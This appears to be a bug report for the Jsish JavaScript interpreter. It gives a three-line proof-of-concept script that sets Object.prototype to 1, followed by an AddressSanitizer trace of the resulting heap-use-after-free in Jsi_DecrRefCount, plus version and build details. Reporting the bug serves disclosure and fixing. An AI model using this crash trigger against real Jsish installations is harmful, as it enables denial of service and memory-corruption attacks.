function JSEtest() {
Object.prototype = 1;
}
JSEtest();
Execution steps & Output
$ ./jsish/jsish poc.js
==44651==ERROR: AddressSanitizer: heap-use-after-free on address 0x6030000001c0 at pc 0x5556b3bd8724 bp 0x7ffdd9e16980 sp 0x7ffdd9e16970
READ of size 4 at 0x6030000001c0 thread T0
#0 0x5556b3bd8723 in Jsi_DecrRefCount src/jsiValue.c:41
#1 0x5556b3c1177b in jsiInterpDelete src/jsiInterp.c:1933
#2 0x5556b4428047 in jsi_main src/main.c:49
#3 0x7fd6540bcbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#4 0x5556b3bb7969 in _start (/usr/local/bin/jsish+0xe8969)
0x6030000001c0 is located 0 bytes inside of 32-byte region [0x6030000001c0,0x6030000001e0)
freed by thread T0 here:
#0 0x7fd654d2b7a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
#1 0x5556b3bd86cf in Jsi_DecrRefCount src/jsiValue.c:52
previously allocated by thread T0 here:
#0 0x7fd654d2bd28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x5556b3c28aa4 in Jsi_Calloc src/jsiUtils.c:57
SUMMARY: AddressSanitizer: heap-use-after-free src/jsiValue.c:41 in Jsi_DecrRefCount
Shadow bytes around the buggy address:
0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff8000: fa fa fd fd fd fd fa fa fd fd fd fa fa fa fd fd
0x0c067fff8010: fd fd fa fa fd fd fd fa fa fa fd fd fd fd fa fa
0x0c067fff8020: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
=>0x0c067fff8030: fa fa fd fd fd fd fa fa[fd]fd fd fd fa fa fd fd
0x0c067fff8040: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
0x0c067fff8050: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
0x0c067fff8060: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
0x0c067fff8070: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
0x0c067fff8080: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Jsish revision
Commit: 9fa798e
Version: v3.5.0
Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
Build steps
Test case
Execution steps & Output